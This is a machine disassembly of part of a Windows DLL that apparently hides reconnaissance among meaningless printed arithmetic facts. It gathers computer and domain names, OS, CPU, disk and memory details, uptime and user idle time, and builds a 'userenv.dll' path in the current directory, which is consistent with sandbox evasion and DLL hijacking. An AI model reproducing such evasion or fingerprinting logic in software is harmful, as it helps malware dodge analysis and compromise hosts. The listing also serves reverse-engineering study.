mov r9d, edx
lea r8d, [rdx + 5]
lea rcx, str.The_minimum_number_between__d_and__d_is__d_n
call fcn.1800017e0
mov r8, qword [rbp + 0x138]
add r8, 0x100
lea rax, [rbp + 0x250]
cmp rax, r8
je 0x18000c8ba
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x18000c8aa
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x250]
call fcn.180011570
mov edx, 4
lea r8d, [rdx + 0xc]
lea rcx, str.Square_of__d_is__d_n
call fcn.1800017e0
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, str.Current_Time_1:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rsp + 0x40]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rsp + 0x42]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rsp + 0x44]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
lea rcx, [rbp + 0x950]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, str.Current_Time_2:
mov rcx, r14
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x950]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce8]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x952]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce8]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x956]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce4]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x958]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95a]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95c]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
mov ecx, r12d
mov eax, 0x11
cdq
idiv ecx
test edx, edx
je 0x18000ca1e
inc ecx
cmp ecx, 8
jle 0x18000ca02
lea rcx, str._d_is_a_prime_number._n
jmp 0x18000ca21
mov rcx, rsi
mov edx, 0x11
call fcn.1800017e0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r14, rax
movabs rax, 0x8daea1d7f4cf721b
mul r14
mov rsi, r14
sub rsi, rdx
shr rsi, 1
add rsi, rdx
shr rsi, 0x1a
imul rax, rsi, 0x5265c00
mov rcx, r14
sub rcx, rax
movabs r8, 0x4a90be587de6e565
mov rax, r8
mul rcx
mov rdi, rdx
shr rdi, 0x14
mov rax, r8
mul r14
shr rdx, 0x14
imul rax, rdx, 0x36ee80
mov rbx, r14
sub rbx, rax
movabs rcx, 0x179ec9cbd821dc3b
mov rax, rcx
mul rbx
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 0xf
mov rax, rcx
mul r14
mov rax, r14
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0xf
imul rax, rax, 0xea60
sub r14, rax
movabs rax, 0x624dd2f1a9fbe77
mul r14
sub r14, rdx
shr r14, 1
add r14, rdx
shr r14, 9
lea rdx, str.System_Uptime:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, esi
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._days_
call fcn.1800128c0
mov rcx, rax
mov edx, edi
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._hours_
call fcn.1800128c0
mov rcx, rax
mov edx, ebx
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._minutes_
call fcn.1800128c0
mov rcx, rax
mov edx, r14d
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._seconds
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov ebx, r15d
mov dword [rbp + 0x110], 8
lea rcx, [rbp + 0x110]
call qword [sym.imp.USER32.dll_GetLastInputInfo]
test eax, eax
je 0x18000cb9b
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
sub ecx, dword [rbp + 0x114]
mov eax, 0x10624dd3
mul ecx
mov ebx, edx
shr ebx, 6
lea rdx, str.Idle_Time:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, ebx
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._seconds
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x2b4]
call fcn.18001d1b0
mov dword [rbp + 0x2b0], 0x114
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
lea rcx, [0x180062260]
test eax, eax
je 0x18000cc65
lea rdx, str.Operating_System_Version:
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2b4]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055154]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2b8]
call fcn.18000fdf0
mov rcx, rax
lea rdx, str.__Build
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2bc]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055144]
jmp 0x18000cc6c
lea rdx, str.Failed_to_get_operating_system_version_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0x65
lea rcx, str._c_is_a_lowercase_letter._n
call fcn.1800017e0
mov edx, 4
lea r8d, [rdx + 0xc]
lea rcx, str.Square_of__d_is__d_n
call fcn.1800017e0
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, str.Processor_Architecture:
lea rcx, [0x180062260]
call fcn.1800128c0
movzx ecx, word [rbp - 0x40]
test ecx, ecx
je 0x18000ccfe
sub ecx, 5
je 0x18000ccf5
sub ecx, 1
je 0x18000ccec
cmp ecx, 3
lea rcx, [0x180062260]
je 0x18000cce3
lea rdx, str.Unknown
jmp 0x18000cd0c
lea rdx, str.AMD64
jmp 0x18000cd0c
lea rdx, str.IA64
jmp 0x18000cd05
lea rdx, [0x18005507c]
jmp 0x18000cd05
lea rdx, [0x180055088]
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Number_of_Processors:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp - 0x20]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Type:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp - 0x1c]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Level:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x14]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Revision:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x12]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x970]
call fcn.18001d1b0
cmp qword [rbp + 0x1c0], 0
jne 0x18000d00d
lea rdx, [rbp + 0x970]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [rbp + 0x110], 0x10
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x18000ce2f
lea rdx, str.Computer_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rbp - 0x40]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000ce4a
lea rdx, str.Failed_to_get_computer_name_
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov dword [rbp + 0x110], 0x10
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x950]
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x18000ce9b
lea rdx, str.Domain_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rbp + 0x950]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000ceb6
lea rdx, str.Failed_to_get_domain_name_
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0xa
lea r9d, [rdx - 7]
lea r8d, [rdx - 3]
lea rcx, str.Difference_between__d_and__d_is__d_n
call fcn.1800017e0
mov edx, 0x7e4
lea rcx, str._d_is_a_leap_year._n
call fcn.1800017e0
lea r8, [0x1800551f0]
mov edx, 0x104
lea rcx, [rbp + 0x970]
call fcn.180024384
mov edx, 0x2c
lea rcx, str._c_is_a_punctuation_mark._n
call fcn.1800017e0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x2b4]
call fcn.18001d1b0
mov dword [rbp + 0x2b0], 0x114
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
lea rcx, [0x180062260]
test eax, eax
je 0x18000cf9f
lea rdx, str.Operating_System_Version:
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2b4]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055154]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2b8]
call fcn.18000fdf0
mov rcx, rax
lea rdx, str.__Build
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2bc]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055144]
jmp 0x18000cfa6
lea rdx, str.Failed_to_get_operating_system_version_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
xor ecx, ecx
call fcn.1800230fc
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x30]
call fcn.180023458
mov r9, rax
lea r8, str._Y__m__d__H:_M:_S
mov edx, 0x14
lea rcx, [rbp - 0x40]
call fcn.1800204c4
lea rdx, str.Current_Time_2:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp - 0x40]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
jmp 0x18000d0e4
lea r8, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0x10
cmovae r8, qword [rbp + 0x1b0]
mov edx, 0x104
lea rcx, [rbp + 0x970]
call fcn.180024384
lea r9, [rsp + 0x30]
lea r8, [rbp + 0x110]
lea rdx, [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [0x180062260]
test eax, eax
je 0x18000d0aa
mov rdi, qword [rsp + 0x30]
shr rdi, 0x1e
mov rbx, qword [rbp + 0x110]
shr rbx, 0x1e
lea rdx, str.Disk_Usage:
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Free
jmp 0x18000d0b1
lea rdx, str.Failed_to_get_disk_usage_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0x48
lea rcx, str._c_is_an_uppercase_letter._n
call fcn.1800017e0
mov edx, 8
lea r8d, [rdx + 0xd]
lea rcx, str.Fibonacci_number_at_position__d_is__d_n
call fcn.1800017e0
xor ecx, ecx
call fcn.1800230fc
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x30]
call fcn.180023458
mov r9, rax
lea r8, str._Y__m__d__H:_M:_S
mov edx, 0x14
lea rcx, [rbp - 0x40]
call fcn.1800204c4
lea rdx, str.Current_Time_2:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp - 0x40]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 7
lea rcx, str._d_is_odd_n
call fcn.1800017e0
mov edx, 0xf
mov r9d, 0x14
mov r8d, r9d
lea rcx, str.The_maximum_number_between__d_and__d_is__d_n
call fcn.1800017e0
mov qword [rbp + 0x118], r15
movdqa xmm0, xmmword [0x180055460]
movdqu xmmword [rbp + 0x128], xmm0
mov byte [rbp + 0x118], 0
mov qword [rbp + 0x190], r15
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r14, rax
movabs rax, 0x8daea1d7f4cf721b
mul r14
mov rsi, r14
sub rsi, rdx
shr rsi, 1
add rsi, rdx
shr rsi, 0x1a
imul rax, rsi, 0x5265c00
mov rcx, r14
sub rcx, rax
movabs r8, 0x4a90be587de6e565
mov rax, r8
mul rcx
mov rdi, rdx
shr rdi, 0x14
mov rax, r8
mul r14
shr rdx, 0x14
imul rax, rdx, 0x36ee80
mov rbx, r14
sub rbx, rax
movabs rcx, 0x179ec9cbd821dc3b
mov rax, rcx
mul rbx
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 0xf
mov rax, rcx
mul r14
mov rax, r14
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0xf
imul rax, rax, 0xea60
sub r14, rax
movabs rax, 0x624dd2f1a9fbe77
mul r14
sub r14, rdx
shr r14, 1
add r14, rdx
shr r14, 9
lea rdx, str.System_Uptime:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, esi
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._days_
call fcn.1800128c0
mov rcx, rax
mov edx, edi
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._hours_
call fcn.1800128c0
mov rcx, rax
mov edx, ebx
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._minutes_
call fcn.1800128c0
mov rcx, rax
mov edx, r14d
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._seconds
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov ebx, r15d
mov dword [rbp + 0x110], 8
lea rcx, [rbp + 0x110]
call qword [sym.imp.USER32.dll_GetLastInputInfo]
test eax, eax
je 0x18000d308
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
sub ecx, dword [rbp + 0x114]
mov eax, 0x10624dd3
mul ecx
mov ebx, edx
shr ebx, 6
lea rdx, str.Idle_Time:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, ebx
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._seconds
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0x19
mov r9d, edx
lea r8d, [rdx + 5]
lea rcx, str.The_minimum_number_between__d_and__d_is__d_n
call fcn.1800017e0
lea rcx, [rbp + 0x950]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, str.Current_Time_1:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x958]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95a]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95c]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
lea rax, [rbp + 0x970]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x18000d3d1
mov rbx, qword [rbp + 0x1e0]
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
lea rdx, [rbp + 0x970]
lea rcx, [rbp - 0x70]
mov byte [rbp - 0x70], 0
call fcn.180011570
test rbx, rbx
je 0x18000d526
lea rdx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae rdx, qword [rbp + 0x1d0]
mov r8, rbx
lea rcx, [rbp - 0x70]
call fcn.1800116d0
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x18000d489
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000d484
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000f9f0
call fcn.18001ae7c
movups xmmword [rbp + 0x118], xmm6
movups xmmword [rbp + 0x128], xmm7
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18000d4d2
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000d4cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000f9f6
call fcn.18001ae7c
mov edx, 0xa
lea r9d, [rdx - 7]
lea r8d, [rdx - 3]
lea rcx, str.Difference_between__d_and__d_is__d_n
call fcn.1800017e0
xorps xmm0, xmm0
cvtsd2ss xmm0, xmm10
cvtps2pd xmm2, xmm0
movq r8, xmm2
mov edx, 9
lea rcx, str.Square_root_of__d_is__.2f_n
call fcn.1800017e0
mov edx, 4
lea r8d, [rdx + 0xc]
lea rcx, str.Square_of__d_is__d_n
call fcn.1800017e0
jmp 0x18000d63f
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rbp - 0x70]
call fcn.1800116d0
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x18000d5a4
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000d59f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000f9fc
call fcn.18001ae7c
movups xmmword [rbp + 0x118], xmm6
movups xmmword [rbp + 0x128], xmm7
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18000d5ed
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000d5e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000fa02
call fcn.18001ae7c
mov edx, 0x48
lea rcx, str._c_is_an_uppercase_letter._n
call fcn.1800017e0
mov edx, 0x20
lea rcx, str._c_is_a_whitespace_character._n
call fcn.1800017e0
mov ecx, r12d
mov eax, 0x11
cdq
idiv ecx
test edx, edx
je 0x18000d62e
inc ecx
cmp ecx, 8
jle 0x18000d612
lea rcx, str._d_is_a_prime_number._n
jmp 0x18000d635
lea rcx, str._d_is_not_a_prime_number._n
mov edx, 0x11
call fcn.1800017e0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x2b4]
call fcn.18001d1b0
mov dword [rbp + 0x2b0], 0x114
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
lea rcx, [0x180062260]
test eax, eax
je 0x18000d6d5
lea rdx, str.Operating_System_Version:
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2b4]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055154]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2b8]
call fcn.18000fdf0
mov rcx, rax
lea rdx, str.__Build
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x2bc]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055144]
jmp 0x18000d6dc
lea rdx, str.Failed_to_get_operating_system_version_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rcx, [rbp + 0x950]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, str.Current_Time_2:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x950]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce8]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x952]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce8]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x956]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce4]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x958]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95a]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95c]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
mov edx, 5
lea r9d, [rdx + 3]
lea r8d, [rdx - 2]
lea rcx, str.Sum_of__d_and__d_is__d_n
call fcn.1800017e0
mov dword [rbp + 0x950], 0x72657375
mov dword [rbp + 0x954], 0x2e766e65
mov dword [rbp + 0x958], 0x6c6c64
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
lea rax, [rbp + 0x970]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x18000d810
lea rdx, [rbp + 0x970]
lea rcx, [rbp - 0x70]
call fcn.180011570
nop
lea rax, [rbp + 0x950]
inc r13
cmp byte [rax + r13], 0
jne 0x18000d832
mov r8, r13
lea rdx, [rbp + 0x950]
lea rcx, [rbp - 0x70]
call fcn.1800116d0
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x18000d8a6
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000d8a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000fa08
call fcn.18001ae7c
movups xmmword [rbp + 0x190], xmm6
movups xmmword [rbp + 0x1a0], xmm7
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18000d8ef
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000d8ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000fa0e
call fcn.18001ae7c
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, str.Processor_Architecture:
lea rcx, [0x180062260]
call fcn.1800128c0
movzx ecx, word [rsp + 0x50]
test ecx, ecx
je 0x18000d950
sub ecx, 5
je 0x18000d947
sub ecx, 1
je 0x18000d93e
cmp ecx, 3
lea rcx, [0x180062260]
je 0x18000d935
lea rdx, str.Unknown
jmp 0x18000d95e
lea rdx, str.AMD64
jmp 0x18000d95e
lea rdx, str.IA64
jmp 0x18000d957
lea rdx, [0x18005507c]
jmp 0x18000d957
lea rdx, [0x180055088]
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Number_of_Processors:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rsp + 0x70]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Type:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rsp + 0x74]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Level:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rsp + 0x7c]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Revision:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rsp + 0x7e]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
lea r9, [rsp + 0x30]
lea r8, [rbp + 0x110]
lea rdx, [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [0x180062260]
test eax, eax
je 0x18000da7e
mov rdi, qword [rsp + 0x30]
shr rdi, 0x1e
mov rbx, qword [rbp + 0x110]
shr rbx, 0x1e
lea rdx, str.Disk_Usage:
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Free
jmp 0x18000da85
lea rdx, str.Failed_to_get_disk_usage_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 7
lea rcx, str._d_is_odd_n
call fcn.1800017e0
mov edx, 0x7e4
lea rcx, str._d_is_a_leap_year._n
call fcn.1800017e0
mov edx, 0x65
lea rcx, str._c_is_a_lowercase_letter._n
call fcn.1800017e0
mov dword [rsp + 0x50], 0x40
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
lea rcx, [0x180062260]
test eax, eax
je 0x18000db32
mov rdi, qword [rsp + 0x60]
shr rdi, 0x14
mov rbx, qword [rsp + 0x58]
shr rbx, 0x14
lea rdx, str.Memory_Usage:
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._MB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
mov rcx, rax
lea rdx, str._MB_Available
jmp 0x18000db39
lea rdx, str.Failed_to_get_memory_usage_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0x2c
lea rcx, str._c_is_a_punctuation_mark._n
call fcn.1800017e0
mov dword [rbp + 0x110], 0x10
lea rdx, [rbp + 0x110]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x18000dba1
lea rdx, str.Computer_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000dbbc
lea rdx, str.Failed_to_get_computer_name_
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov dword [rbp + 0x110], 0x10
lea r8, [rbp + 0x110]
lea rdx, [rbp - 0x70]
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x18000dc07
lea rdx, str.Domain_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rbp - 0x70]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000dc22
lea rdx, str.Failed_to_get_domain_name_
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rcx, [rbp + 0x950]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, str.Current_Time_2:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x950]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce8]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x952]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce8]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x956]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce4]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x958]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95a]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95c]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
movsd xmm7, qword [0x180055440]
cmp qword [rbp + 0x200], 0
jne 0x18000ecf3
mov ecx, r12d
nop dword [rax + rax]
mov eax, 0x11
cdq
idiv ecx
test edx, edx
je 0x18000dd2c
inc ecx
cmp ecx, 8
jle 0x18000dd10
lea rcx, str._d_is_a_prime_number._n
jmp 0x18000dd33
lea rcx, str._d_is_not_a_prime_number._n
mov edx, 0x11
call fcn.1800017e0
lea rcx, [rbp + 0x950]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, str.Current_Time_1:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x958]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95a]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95c]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
mov edx, 0x65
lea rcx, str._c_is_a_lowercase_letter._n
call fcn.1800017e0
xor edx, edx
